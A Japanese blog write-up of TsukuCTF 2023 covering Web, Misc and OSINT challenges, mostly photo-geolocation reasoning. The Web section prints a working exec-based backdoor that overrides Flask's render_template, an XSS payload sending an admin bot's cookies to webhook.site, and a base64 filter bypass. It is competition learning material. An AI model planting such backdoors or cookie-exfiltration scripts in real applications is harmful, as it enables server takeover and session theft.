st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TsukuCTF 2023 writeup

12/9 - 12/10という日程で開催された。st7962934781497995546*1*2のオグロプレーリードッグ*3として参加して3位。

Flatt Security Speedrun CTF #2に参加した際に、運営陣のひとりであるSatokiさんから、このCTFのWebでもRTAをして1時間以内に同カテゴリの問題をすべて解けという挑戦状を叩きつけられていたので、まずWebから見ていった。これは57分13秒という記録で達成できたし、Webの全3問でfirst bloodが取れたのでよし。だが、とり天うどんの写真から撮影された店を特定する問題が最後まで残っており、結局解けず。全完できず悔しい。

動物園


Web

[Web 100] basic (274 solves)

保護されていない通信ではパスワードはまる見えダゾ! e.g. パスワードが Passw0rd! の場合、フラグは TsukuCTF23{Passw0rd!} となります。"

Passwords are fully visible in unencrypted connections! e.g. If the password is Passw0rd!, the flag is TsukuCTF23{Passw0rd!}.

添付ファイル: basic.pcapng

添付ファイルのpcapはHTTPによる通信を記録したもの。問題名と問題文からBASIC認証なのだろうと推測する。Info カラムでソートして、ステータスコードとして 200 OK を返しているHTTPレスポンスをまず見る。これに対応するHTTPリクエストに正しいクレデンシャルが含まれているはずだ。あった。

Base64デコードするとフラグが得られる。

TsukuCTF23{2929b0u4}

[Web 496] MEMOwow (21 solves)

素晴らしいメモアプリを作ったよ。 覚える情報量が増えているって???

(問題サーバのURL)

I've made the grateful memo app! Hmm, but it looks the quantity of information which it has to remember is increased...

(問題サーバのURL)

添付ファイル: MEMOwow.zip

ソースコードが含まれている添付ファイルを展開し、まずフラグの場所を確認する。app/memo/flag に存在しているらしい。同じディレクトリに VHN1a3VzaGk= というものもある。

メインの app.py は次の通り。Flask製。おそらくメモアプリで、先程の app/memo というディレクトリに、そのメモの内容をBase64エンコードしたものをファイル名として、ファイルの内容はもちろんそのメモの内容で保存している。

ファイル名がメモのIDとなり、投稿後はこのIDを使ってメモを参照できる。セッションにそれまで投稿したメモの内容が保存される。メモの参照時にはメモのIDをBase64デコードした文字列、つまりメモの内容がセッションデータのリストに含まれているか確認されている。もし含まれていなければ、実際にはファイルが存在していたとしてもメモが見つからなかったということにされる。

import base64
import secrets
import urllib.parse
from flask import Flask, render_template, request, session, redirect, url_for, abort

SECRET_KEY = secrets.token_bytes(32)

app = Flask(__name__)
app.secret_key = SECRET_KEY


@app.route("/", methods=["GET"])
def index():
    if not "memo" in session:
        session["memo"] = [b"Tsukushi"]
    return render_template("index.html")


@app.route("/write", methods=["GET"])
def write_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("write_get.html")


@app.route("/read", methods=["GET"])
def read_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("read_get.html")


@app.route("/write", methods=["POST"])
def write_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    memo = urllib.parse.unquote_to_bytes(request.get_data()[8:256])
    if len(memo) < 8:
        return abort(403, "これくらいの長さは記憶してください。👻")
    try:
        session["memo"].append(memo)
        if len(session["memo"]) > 5:
            session["memo"].pop(0)
        session.modified = True
        filename = base64.b64encode(memo).decode()
        with open(f"./memo/{filename}", "wb+") as f:
            f.write(memo)
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("write_post.html", id=filename)


@app.route("/read", methods=["POST"])
def read_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    filename = urllib.parse.unquote_to_bytes(request.get_data()[7:]).replace(b"=", b"")
    filename = filename + b"=" * (-len(filename) % 4)
    if (
        (b"." in filename.lower())
        or (b"flag" in filename.lower())
        or (len(filename) < 8 * 1.33)
    ):
        return abort(403, "不正なメモIDです。👻")
    try:
        filename = base64.b64decode(filename)
        if filename not in session["memo"]:
            return abort(403, "メモが見つかりません。👻")
        filename = base64.b64encode(filename).decode()
        with open(f"./memo/{filename}", "rb") as f:
            memo = f.read()
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("read_post.html", id=filename, memo=memo.decode())


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

flag をIDとしてメモを参照したいとまず考えるが、b"flag" in filename.lower() とIDに flag が含まれていないかチェックされているため、そのままではダメだ。この後でBase64デコードがされるわけだけれども、Pythonbase64.b64decode は次のようにBase64で使われる文字以外のものが含まれていれば、それを無視してデコードしようとする。これを使って、fl)ag のようにすることで、このチェックはバイパスできる。最後の open の段階では、この filenameBase64デコードし、さらにそれをBase64エンコードしたものが使われるわけだから、この段階で ) が含まれていても問題はない。

>>> import base64
>>> base64.b64decode(b'flag')
b'~V\xa0'
>>> base64.b64decode(b'fl)ag')
b'~V\xa0'

その後で flagBase64デコードしたバイト列がセッションに存在するかチェックされる。単純に ~V\xa0 を投稿すれば終わり…ではない。メモを書き込める /write において、次のように8文字未満のメモは投稿できない仕様となっているためだ。

これは、メモの参照時に、結局メモの書き込まれているファイルへは open(f"./memo/{filename}", "rb") のようにして行われるので、//////////////////fl)ag のように / で埋めてやればよい。これをBase64デコードすると \xff\xff\xff… のようなバイト列になる。

    if len(memo) < 8:
        return abort(403, "これくらいの長さは記憶してください。👻")

ただ、このままWebブラウザで投稿しようとしても、ChromeUTF-8エンコードした上でPOSTしようとする。サーバ側では都合の良いことに urllib.parse.unquote_to_bytes を使っているので、curl なりなんなりで無理やり content=%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%7EV%A0 のようにして投稿してしまえばよい。これでセッションに ////////////////fl)ag==Base64デコードしたバイト列が登録される。このセッションを使って ////////////////fl)ag== というIDのメモを参照すると、フラグが得られた。

TsukuCTF23{b45364_50m371m35_3xh1b175_my573r10u5_b3h4v10r}

[Web 499] EXECpy (15 solves)

RCEがめんどくさい? データをexecに渡しといたからRCE2XSSしてね!

(問題サーバのURL)

AdminBot: (クローラのURL)

You think doing RCE is a hassle, right? So, this server passes the data to the exec, please do RCE2XSS.

(問題サーバのURL)

AdminBot: (クローラのURL)

添付ファイル: EXECpy.zip

この問題で何をすべきか確認するために、まずクローラのコードを確認する。やっていることは単純で、まずユーザの報告したURLにアクセスしてくれるものの、Server ヘッダに Tsukushi/2.94 が含まれており、かつレスポンスボディに 🤪 が含まれていない場合に限って、フラグの含まれたCookieをセットして再度同じURLにアクセスしてくれる。

async def crawl(url):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        page = await browser.new_page()

        try:
            response = await page.goto(url, timeout=5000)
            header = await response.header_value("Server")
            content = await page.content()

            if ("Tsukushi/2.94" in header) and ("🤪" not in content):
                await page.context.add_cookies(
                    [{"name": "FLAG", "value": FLAG, "domain": DOMAIN, "path": "/"}]
                )
                if url.startswith(f"http://{DOMAIN}/?code=") or url.startswith(
                    f"https://{DOMAIN}/?code="
                ):
                    await page.goto(url, timeout=5000)
        except:
            pass

        await browser.close()

アプリ側のコードは次の通り。超シンプルで、ユーザからクエリパラメータ経由で与えられたコードをただ exec するだけ。これを見て、なるほど、Flaskの挙動をいじって Server ヘッダが Tsukushi/2.94 を返すようにしたり、HTTPレスポンスとして外部にCookieを送信するHTMLを返すようにすればよいのだなと思う。

from flask import Flask, render_template, request

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
    code = request.args.get("code")
    if not code:
        return render_template("index.html")

    try:
        exec(code)
    except:
        pass

    return render_template("result.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31416)

ではそれをどうやって実現するか。render_template を書き換えればよい。次のようにすると、これを実行した際のリクエストに限らず、永続的に nekochan_backdoor というクエリパラメータが存在していればそのパラメータに入っているHTMLを返すようになる。

global render_template
def render_template(*args, **kwargs):
    p = request.args.get('nekochan_backdoor', False)
    if p:
        return f'<div id=c>{__import__("flask").request.cookies}</div>' + p
    return __import__('flask').render_template(*args, **kwargs)

では Server ヘッダの方はどうすればよいかというと、ぱっと思いつかず。適当に検索して app.wsgi_app を書き換えてミドルウェアを仕込む方法が見つかったので、これでやってみた。完全にスクリプトキディだ。できれば render_template 単体でなんとかしたかったが、動くのでヨシ。

class Middleware(object):
    def __init__(self, app):
        self.app = app
        self._header_name = "Server"

    def __call__(self, environ, start_response):
        environ['Server'] = 'Tsukushi/2.94'

        def new_start_response(status, response_headers, exc_info=None):
            response_headers.append(('Server', 'Tsukushi/2.94'))
            return start_response(status, response_headers, exc_info)

        return self.app(environ, new_start_response)

app.wsgi_app = Middleware(app.wsgi_app)

これでクエリパラメータの code には 7*7 を、nekochan_backdoor には <script>(new Image).src=['https://webhook.site/…?',document.getElementById('c').innerText]</script> *4のような文字列を仕込んだURLを報告することでフラグが飛んできた。

TsukuCTF23{175_4_73rr1bl3_4774ck_70_1n73rrup7_h77p}

ほかの参加者に解法がバレるかもしれないので、解いた後は次のコードを何度か実行して片付ける。もっとなんとかすべきミドルウェアの方はそのままになってしまった。

global render_template 
render_template =  __import__('flask').render_template

不穏なことを言っている様子

Misc

[Misc 201] what_os (201 solves)

とある研究所から、昔にシェル操作を行った紙が送られてきた来たんだが、 なんのOSでシェルを操作しているか気になってな。 バージョンの情報などは必要ないから、OSの名前だけを教えてくれないか?

にしても、データとかではなく紙で送られて来たんだ。一体何年前のOSなんだ。。。

送られてきた紙をダウンロードして確認してほしい。

A lab sent me a paper of operation for a shell, and I wondered on which OS it was running. Please let me know only the name of the OS except for other information such as version.

The data is sent by paper, not a program by the way. It means the OS is really old, right? Anyway, please check the attached file and investigate it.

添付ファイル: tty.txt

次のようなテキストファイルが与えられている。uidsUNIXかな~と思って投げてみたら当たった。

login: root
root
# ls -al
total    8
 41 sdrwr-  7 root     70 Jan  1 00:00:00 .
 41 sdrwr-  7 root     70 Jan  1 00:00:00 ..
 43 sdrwr-  2 root    630 Jan  1 00:00:00 bin
 42 sdrwr-  2 root    250 Jan  1 00:00:00 dev
104 sdrwr-  2 root    110 Jan  1 00:00:00 etc
114 sdrwrw  2 root    140 Jan  1 00:00:00 tmp
 41 sdrwr-  9 root    100 Jan  1 00:00:00 usr
# chdir etc
# ls -al
total   34
104 sdrwr-  2 root    110 Jan  1 00:00:00 .
 41 sdrwr-  7 root     70 Jan  1 00:00:00 ..
106 lxrwr-  1 bin    5778 Jan  1 00:00:00 as2
105 sxrwr-  1 bin     446 Jan  1 00:00:00 getty
107 sxrwr-  1 sys    2662 Jan  1 00:00:00 glob
108 sxrwr-  1 sys    1192 Jan  1 00:00:00 init
109 sxrwr-  1 sys     186 Jan  1 00:00:00 msh
110 s-rw--  1 sys     272 Jan  1 00:00:00 passwd
111 s-rwr-  1 root    512 Jan  1 00:00:00 std0
112 s-rwr-  1 bin    2082 Jan  1 00:00:00 suftab
113 s-rwr-  1 sys      88 Jan  1 00:00:00 uids
# ed uids
88
1,7p
root:0
sys:1
bin:3
adm:3
jfo:4
ken:6
dmr:7
q
…
TsukuCTF23{Unix}

[Misc 476] build_error (50 solves)

怪盗シンボルより、以下の謎とき挑戦状が届いた。

怪盗シンボルだ!

メールに3つのファイルを添付した。 この3つのファイルを同じディレクトリに置き、makeとシェルに入力し実行するとビルドが走るようになっている。

ビルドを行い、標準出力からフラグを入手するのだ!

追記:ソースコードは秘密

怪盗シンボルはせっかちなので、ビルドできるかチェックしているか不安だ。。。 取りあえずチャレンジしてみよう。

FlagフォーマットはTsukuCTF23{n桁の整数}になります。

The following letter has been received from Symbol the phantom thief:

I have attached three files.
If you put these three files and run $ make on your shell, you should get the flag from the standard output.

Get the flag.
P.S. the source code is secret.

Sincerely,

Symbol the phantom thief

I am not sure whether he checked if it can build since he is impatient. Anyway, let git it a try.

添付ファイル: Makefile, main.o, one.o

素直に make を実行すると怒られる。

$ make
cc main.o one.o -no-pie
/usr/bin/ld: main.o: in function `main':
main.c:(.text+0x8b): undefined reference to `a'
/usr/bin/ld: main.c:(.text+0x92): undefined reference to `b'
collect2: error: ld returned 1 exit status
make: *** [Makefile:4: all] Error 1

main.o をIDA Freewareでデコンパイルすると次のようになる。この a, b, c という変数が存在していないらしい。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-2Ch]
  __int64 v5; // [rsp+8h] [rbp-28h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  __int64 v7; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]

  v5 = 12LL;
  v6 = 11LL;
  v7 = 75LL;
  one_init(argc, argv, envp);
  for ( i = 0; v6 > i; ++i )
  {
    if ( v5 > i )
      ++v7;
    if ( v7 < i )
      ++v6;
    ++v5;
  }
  v8 = v6 + v5 + v7;
  if ( v8 == b + a + c )
    printf("flag is %ld\n", v8);
  else
    puts("please retry");
  return 0;
}

無理やりこれ単体で動くようにする。

#include <stdio.h>
#define __int64 long int
int main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-2Ch]
  __int64 v5; // [rsp+8h] [rbp-28h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  __int64 v7; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]

  v5 = 12LL;
  v6 = 11LL;
  v7 = 75LL;
  for ( i = 0; v6 > i; ++i )
  {
    if ( v5 > i )
      ++v7;
    if ( v7 < i )
      ++v6;
    ++v5;
  }
  v8 = v6 + v5 + v7;
  printf("flag is %ld\n", v8);
  return 0;
}

コンパイルして実行するとフラグが得られた。

$ gcc -o a a.c; ./a
flag is 120
TsukuCTF23{120}

[Misc 481] content_sign (45 solves)

どうやら、この画像には署名技術を使っているらしい。この署名技術は、画像に対しての編集を記録することができるらしい。署名技術を特定し、改変前の画像を復元してほしい。 Flag形式はTsukuCTF23{<一個前に署名した人の名前>&<署名した時刻(ISO8601拡張形式)>}です。例えば、一個前に署名した人の名前は「Tsuku」で、署名した時刻が2023/12/09 12:34:56(GMT+0)の場合、フラグはTsukuCTF23{Tsuku&2023-12-09T12:34:45+00:00}です。なお、タイムゾーンはGMT+0を使用してください。

It seems this image is applied digital signature, which can record edit history for an image. Identify the technology and restore the raw image, which means the image before revised.

The flag format is TsukuCTF23{&}

添付ファイル: signed_flag.png

PNGファイルが与えられている。バイナリエディタで眺めると caBX という知らないチャンクがあった。JUMBFという色々メタデータを埋め込めるやつらしい。バイナリエディタで眺めて適当にそれっぽいものを抜き出せばよい。

TsukuCTF23{TSUKU4_IS_H@CKER&2023-12-08T13:00:26+00:00}

OSINT

[OSINT 100] airport (205 solves)

つくしくんは、旅の思い出を振り返っていましたが、この写真はどこの空港かわからなくなりました。 ここはどこの空港か教えてくれませんか? Flagフォーマットは TsukuCTF23{空港の3レターコード(IATA)} です。

Tsukushi looks back his trip memories, but he forgot where this picture is taken. Could you tell me which airport this is? The flag format is TsukuCTF23{3 letter code of the airport (IATA)}.

ANAのプロペラ機のそばで撮影した写真が与えられる。まず文字情報を探してしまうが、次の車が目に入った。

「"ctk-101" 空港」でGoogle画像検索をすると同じ車の写った写真のある記事がヒットする。伊丹だ。

TsukuCTF23{ITM}

[OSINT 100] castle (217 solves)

この前、お城に行ってこの写真を取ってきたんだ! どこにあるかわかるかい?

ラグのフォーマットは、TsukuCTF23{緯度_軽度} です。 小数点は第三桁まで有効とします。

I took this picture in a castle last time. Do you know where it is?

The flag format is TsukuCTF23{latitude_longitude}, and is valid to the third decimal place.

お城の写真が与えられる。Google Lensに投げると太陽公園と出てきた。ストリートビューでぶらぶら歩いていると同じ場所が見つかる。

TsukuCTF23{34.886_134.630}

[OSINT 100] eruption (258 solves)

つくしくんは旅行に行ったときに噴火を見ました。噴火の瞬間を実際に見たのは初めてでしたが、見た日付を覚えていません。 つくしくんが噴火を見た日付を写真の撮影日から特定して教えてください。 撮影場所が日本なのでタイムゾーンはJSTです。フラグの形式は TsukuCTF23{YYYY/MM/DD} です。

Tsukushi-kun saw the eruption when he was on a trip. It was the first time for him to actually see the eruption, but he does not remember the date he saw it. Please tell us the date when Tsukushi-kun saw the eruption by identifying it from the date the photo was taken. The time zone is JST because the photo was taken in Japan. The flag format is TsukuCTF23{YYYYYY/MM/DD}.

火山が噴火している様子を撮影した写真が与えられる。どう見ても桜島。ファイルをよく見るとEXIFが残っており、撮影日時が含まれている。

TsukuCTF23{2022/01/28}

[OSINT 100] location_for_what (240 solves)

とある場所を友達と探索していると、「ここ、何かの映画の聖地だった気がするけど、名前忘れちゃった......」とのこと。 シュッと特定して教えてあげよう!

Flagの形式は TsukuCTF23{映画のタイトル} です。

While going to somewhere with my friend, he says "I think this place is used for a movie, but I forgot the name...". Let's quickly identify the movie name instead of him.

THe flag format is TsukuCTF23{title_of_the_movie}.

東屋を撮った写真が与えられる。Google Lensに投げるといきなり「言の葉の庭」が出てくる。新宿御苑らしい。

TsukuCTF23{言の葉の庭}

[OSINT 180] green_bridge (180 solves)

この写真が撮影されたのはどこですか...? Flagフォーマットは TsukuCTF23{緯度_経度} です。 端数は少数第4位を四捨五入して小数点以下第3位の精度で回答してください。

Where is the picture taken? The flag format is TsukuCTF23{latitude_longitude}. Round fractions to the nearest fourth decimal place and answer the third decimal place.

緑の橋を撮った写真が与えられる。Google Lensに投げるともみじ谷大吊橋とわかる。次の切り抜いた画像に写っている橋と建物の位置関係を考えつつ、いい感じに同じような構図で撮れそうな場所をGoogle Mapsで考える。見つかった

TsukuCTF23{36.956_139.880}

[OSINT 198] perfume (175 solves)

とある施設でいろいろな香水を見かけたが、施設の場所が思い出せない。 この施設の場所を調べ、教えてほしい。

ラグはTsukuCTF23{緯度_経度}であり、小数点第三桁まで有効である。

I saw various perfumes at one facility, but I cannot remember where the facility is located. Please find out where this facility is located and tell me. Flag format is TsukuCTF23{latitude_longitude} And is valid to the third decimal place.

博物館かどこかで、エジプト香水瓶と東京スカイツリーの開業を記念して作られたらしい香水が展示されている様子を撮影した写真が与えられる。エジプト香水瓶の方をGoogle Lensで探すと、大分香りの博物館がヒットする。

TsukuCTF23{33.312_131.489}

[OSINT 228] mab (166 solves)

mab.main.jpが使用しているレンタルサーバサービスを特定し、そのWebサイトのドメイン名を答えてください。Flagフォーマットは TsukuCTF23{ドメイン名}です。 Please identify the rental server service used by mab.main.jp and answer me with the domain name of the website. The flag format is TsukuCTF23{domain_name}.

main.jp といえばロリポップ!だ。知っていた。

TsukuCTF23{lolipop.jp}

[OSINT 232] tsukushi_estate (165 solves)

つくし君が写真に写っているビルにオフィスを構えたいらしいのだけど、築年数が少し心配...... つくし君の代わりに調査してください!

Flagの形式は TsukuCTF23{築年_月} です。 例えば、2022年3月に出来たビルであれば、 TsukuCTF23{2022_03} になります。

It seems Tsukushi wants to have his office in the building in the picture, but he is worried how old this building is. Please investigate about it instead of him.

The flag format is TsukuCTF23{year_month}. For example, if a building is built in March 2022, the flag is TsukuCTF23{2022_03}.

入居者募集の看板を撮影した写真が与えられる。問い合わせ先は松阪市の「(同)つくし不動産」だ。ありがたいことに取り扱い物件が検索できる。貸事務所を片っ端から見ていくと、伊勢SIビルという、まさにこの看板が含まれている写真がある物件が見つかった。築年数も書かれている。

TsukuCTF23{1983_03}

[OSINT 281] travel_with_tsukushi (149 solves)

旅が好きなつくしくんは、空港の写真からそれがどこの空港かすぐにわかります。 つくしくんからの挑戦状! これがどこの空港かわかるかな? Flagフォーマットは TsukuCTF23{空港の3レターコード(IATA)} です。

Tsukushi, who loves to travel, can easily tell the airport where it is taken in. This is a challenge from him. Do you know which airport this is? The flag format is TsukuCTF23{3 letter code of the airport (IATA)}.

空港問その2。今度は飛行機の機内からターミナルなどを撮影した写真が与えられている。3機が写っており、垂直尾翼のロゴなどから、手前からエア・アラビア、バティック・エア、マレーシア航空の機材だとわかる。おそらくマレーシアなのだろうなあと思いつつ、どう考えても後ろの2つだけだと絞りきれないので、エア・アラビアの就航都市一覧を見る。マレーシアだとクアラルンプール国際空港にしか飛ばしていない。

TsukuCTF23{KUL}

[OSINT 321] kiZOU (135 solves)

ここは日本で一番のリゾート地!少し歩くと目の前に素敵な像が見えたから写真を撮ったつもりだったんだけど、見返したら端っこしか写ってない!困ったなぁ、この像についてもっと知りたかったんだけどなぁ。僕の代わりにこの像について調べてくれないか? フラグ形式は TsukuCTF23{像を寄贈した人物の名前} です。

This is the best resort in Japan! I took a picture when I saw the nice statue in front of me. However, I noticed only the edge is in the picture. So, could you please investigate for the statue instead of me. The flag format is TsukuCTF23{the person name who donated the statue}.

auの店舗を撮影した写真が与えられている。よく見るとau Style NAHAという店舗名が見つかる。

また、写真の右下に問題文で言及されている像の一部が映り込んでいる。

au Style HANAについてググると、これはパレットくもじという複合商業施設にあるとわかる。雑に「パレットくもじ "銅像"」で検索すると、この像がシーサーであるとわかった。「パレットくもじ "シーサー" "寄贈"」で検索すると、この像の寄贈者について言及しているXTwitterポストツイートが見つかる。

TsukuCTF23{上原清善}

[OSINT 354] big_statue (122 solves)

大きなドリアンだ!どこにあるんだろう?? フラグの形式は TsukuCTF23{緯度_経度} です。例えば、この像が東京の渋谷駅にある場合、フラグは TsukuCTF23{35.6580_139.7016} となります。

What a big durian! Where is this?? The flag format is TsukuCTF23{latitude_longitude}. If this statue is at Shibuya station in Tokyo, the flag would be TsukuCTF23{35.6580_139.7016}.

巨大なドリアン像を撮った写真が与えられる。文字情報があるので読み取る。これは「榴莲王」「利陞」だ。

これらの単語でググるLexus Durian Kingという店が見つかる。複数店舗あるようだが、Googleストリートビューで眺めると、Lexus Durian King - Upper Serangoonの方が周囲の風景から正解だとわかる。写真と同じ建物が写っている。

TsukuCTF23{1.3623_103.8873}

[OSINT 394] TrainWindow (104 solves)

夏、騒音、車窓にて。

ラグのフォーマットは、TsukuCTF23{緯度_経度}です。 緯度経度は小数第五位を切り捨てとします。

Summer, noise, at car window.

The format of the flag is TsukuCTF23{latitude_longitude}. Latitude and longitude are rounded down to the fifth decimal place.

電車の車内から撮ったであろう写真が与えられる。まず奥に写っている島に注目する。忘れるはずがない、Open xINT CTF 2022 - nice viewで散々調べた初島だ。

これで撮影場所は熱海周辺であることがわかる。海が見えることから海岸線に近い場所であるし、またグランドエクシブ初島クラブの見え方からある程度範囲も絞り込める。それはそれとして文字情報を探すと、TTCという文字列が見える。探すと見つかった

TsukuCTF23{35.0642_139.0665}

[OSINT 427] CtrlAltPrtSc (87 solves)

仕事中にCtrl + Alt + PrtScでウィンドウのスクリーンショットを撮ったよ。

つくし君がサボって使用していたサービスの名前を答えよ。 フラグはTsukuCTF23{サービスの名前}の形式です。

Tsukushi-kun took a screenshot of a window at work using Ctrl + Alt + PrtSc. Please give the name of the service that Tsukushi-kun used when he was slacking off from work. Flag format is TsukuCTF23{Service name}

次のようなスクリーンショットが与えられる。

ファビコンが写っているであろう箇所を見る。この赤さと真ん中のちょっと白い部分があるファビコンはYouTubeだ。

TsukuCTF23{YouTube}

[OSINT 433] laser (83 solves)

光源の座標を正確に教えてください。 フラグフォーマットは、TsukuCTF23{緯度_経度}です。 小数点以下5位を切り捨てて、小数点以下4桁で答えてください。

Please tell me the exact coordinates of the light source. The flag format is TsukuCTF23{latitude_longitude}. Round down to 5 decimal places and submit your answer to 4 decimal places.

周囲を高いビルに囲まれつつ、なにやら青っぽいレーザーが空に向かって伸びている写真が与えられる。安直だが「ビルから青いレーザー」でググる梅田だとわかる*5ほかの記事も参照すると

担当者によると、そのスタート地点である「梅田吸気塔」に「ランドマークレーザー」を設置したのだという。

という記述も見つかる。Google Mapsで梅田吸気塔へ移動し、記事の写真と見比べつつ、衛星写真からレーザーの光源らしき位置を探せばよい。

TsukuCTF23{34.7015_135.4991}

[OSINT 444] 3636 (76 solves)

ここはどこ...? Flagフォーマットは TsukuCTF23{緯度_経度} です。 端数は少数第四位を四捨五入して小数点以下第三位の精度で回答してください。

Where is there...? The flag format is TsukuCTF23{latitude_longitude} . Fractions should be rounded to the nearest fourth decimal place, and please answer to the third place.

次のような写真が与えられる。これだけ。まずこの何かについて、電話番号が 5-3636 で終わること、WebサイトのURLが o.ed.jp で終わることがわかる。

「site:*.ed.jp 電話番号 "3636"」で検索する。色々候補は出てくるものの、たとえばドメイン名は o.ed.jp で終わっていたとしても、同じドメイン名で複数の学校のWebサイトをホストしており、学校ごとにディレクトリを切っているというような運用をしているページが多く見つかる。こういったURLがドメイン名で終わるはずのないものは排除できる。いくつか検索結果を眺めて、可能性が高いのはとうみょう子ども園だろうと考える。ストリートビューでこの周辺を探すと、見つかった

TsukuCTF23{37.502_139.929}

[OSINT 446] Yuki (75 solves)

雪、無音、窓辺にて。

ラグのフォーマットは、TsukuCTF23{緯度_経度}です。 緯度経度は小数第四位を切り捨てとします(精度に注意)。

Snow, silent, at window.

The flag format is TsukuCTF23{latitude_longitude}. Latitude and longitude are rounded down to the fourth decimal place (note the precision).

TrainWindowと違い問題文が本物だ(?)。屋内からガラス越しに橋を撮った写真が与えられる。Google Lensで橋の部分だけ検索すると、同じ橋を撮ったであろう写真が見つかる。定山渓ビューホテルだ。

TsukuCTF23{42.968_141.166}

[OSINT 451] tsukushi_no_kuni (71 solves)

かつて、筑紫国を統治していた国造の一人が乱を起こした。 その子孫の一人が、ある天皇と同一人物である説が提唱されている。 その子孫の名前を TsukuCTF23{} で囲んで答えよ。

Once upon a time, one of the Kokuzou(国造) who ruled Tsukushi-no kuni(筑紫国) caused a rebellion. A theory has been proposed that one of his descendants was the same person as a certain emperor of Japan. Answer by enclosing the name of the descendant in TsukuCTF23{}.

まずその「乱」とは何か。問題文からそのまま「かつて、筑紫国を統治していた国造の一人が乱を起こした」でググる磐井の乱が見つかる。磐井という人が起こしたらしい。この人物のWikipediaの記事の関連項目に、筑紫薩夜麻という人物がその子孫であろうと推測されるという記述がある。問題数も多く、早くほかの問題を見たかったので、問題文に関連する記述を探さずこの人物をフラグとしてとりあえず提出すると、正解だった。すみません。

TsukuCTF23{筑紫薩夜麻}

[OSINT 463] free_rider (62 solves)

https://www.fnn.jp/articles/-/608001 私はこのユーチューバーが本当に許せません! この動画を見たいので、元のYouTubeのURLを教えてください。 また、一番上の画像(「非難が殺到」を含む)の再生位置で指定してください。 フラグフォーマットは、TsukuCTF23{https://www.youtube.com/watch?v=**REDACTED**&t=**REDACTED**s}

https://www.fnn.jp/articles/-/608001 I really can't stand this YouTuber! I would like to watch this video, so please tell me the original YouTube URL. Also, please specify the playback position of the top image (including 「非難が殺到」). Flag format is TsukuCTF23{https://www.youtube.com/watch?v=**REDACTED**&t=**REDACTED**s}

「無賃乗車 youtuber "youtu.be"」でググると、これについて言及するTogetterのまとめが見つかる。まとめられているポストから動画IDが Dg_TKW3sS1U であるとわかるが、動画は削除されている。Wayback Machine見てみると、この動画のタイトルが "I Traveled Across Japan For Free" であるとわかる。このタイトルで検索すると転載動画が見つかり、それを見て画像と一致する箇所を探すと、見つかった。

TsukuCTF23{https://www.youtube.com/watch?v=Dg_TKW3sS1U&t=176s}

[OSINT 469] river (57 solves)

弟のたくしから、「ボールが川で流されちゃった」と写真と共に、連絡がきた。 この場所はどこだ? Flagフォーマットは TsukuCTF23{緯度_経度} です。 端数は少数第5位を切り捨てて小数点以下第4位の精度で回答してください。

I received a call "My ball got washed away in the river" with a picture from my younger brother, Takushi Where is this place? Flag format is TsukuCTF23{latitude_longitude}. Please answer to the fourth decimal place with fractions rounded down to the fifth decimal place.

川を撮影した写真が与えられる。なかなかのぼやけっぷりで読みづらいが、読める文字情報を探す。まず一番読みやすいのはこれで、newqin…ではなくnewginというパチンコ関連の会社の専用駐車場だ。

れいめい」か「たいめい」か。

これぐらいしかない。ニューギン本体の事業所や工場すべてをGoogleストリートビューで見てみるものの、いずれも周辺の景色がまったく異なっている。メンバーのアラスカンマラミュート*6も周辺にある駐車場のロゴがD-Parkingであることを見つけたり、後ろの山が怪しいとアイデアを挙げていたりしたものの、有用な情報がしばらく見つからず。多くて嫌だなあと思っていたグループ会社の事業所などを虱潰しに見ていくことにした。株式会社ニューギン販売の鹿児島営業所が当たり。なぜかリストの下から見ていったおかげですぐに見つかってよかった。

TsukuCTF23{31.5757_130.5533}

[OSINT 471] broken display (55 solves)

表示が壊れているサイネージって、写真を撮りたくなりますよね! 正しく表示されているときに書かれている施設名を見つけて提出してください! フラグ形式: TsukuCTF23{◯◯◯◯◯◯◯◯IYA_◯◯◯◯◯◯S}

A Signage with a broken display makes me want to take a picture, right? Find the name of the facility whose name is written on when it is displayed correctly and submit it! The flag format: TsukuCTF23{◯◯◯◯◯◯◯◯IYA_◯◯◯◯◯◯S}

わかるなあ。デジタルサイネージに施設のロゴが表示されているものの、上にターミナルのウィンドウが覆いかぶさって読めなくなっている写真が与えられる。まず文字情報を探す。奥に日能研が見える。

"L'OC…ANE" という店のロゴが反射して映り込んでいる。Googleで "L'OC" まで打ったところでL'OCCITANEとサジェストに出てくる。ロクシタンというお店らしい。

ただ、ロクシタン日能研もそれぞれ店舗と校舎が多すぎる。が、どちらかでひとつひとつ見ていく以外に方法が思いつかなかった。Webサイトから店舗の一覧が見やすかったロクシタンの方で虱潰しに見ていく。100件以上あるけれども、写真からはおそらく2階以上で撮られたことが推測できるし、「施設名」とわざわざ問題文で言及している以上はショッピングモールや百貨店にある店舗だろう。これらの情報からある程度は絞れる。まず2Fで検索してひとつひとつ見ていき、それが終わったら3F、次は4F…というように進めていくことにした。各店舗の名前でググり、詳しく調べていく。

「西宮阪急店」という店舗名を見て、西宮がIYAで終わっていることに気づく。詳しくこの店舗や関連する施設について調べると、西宮阪急は阪急西宮ガーデンズを構成する百貨店であることがわかる。ロゴのIYA, Sのフォントも合っている。文字数も合っている。

TsukuCTF23{NISHINOMIYA_GARDENS}

[OSINT 484] RegexCrossword (42 solves)

クロスワードを解いてみて! これを作った会社の本社の郵便番号をハイフンありで答えてね!!

Solve the crossword! Hyphenate the zip code of the headquarters of the company that made this!!

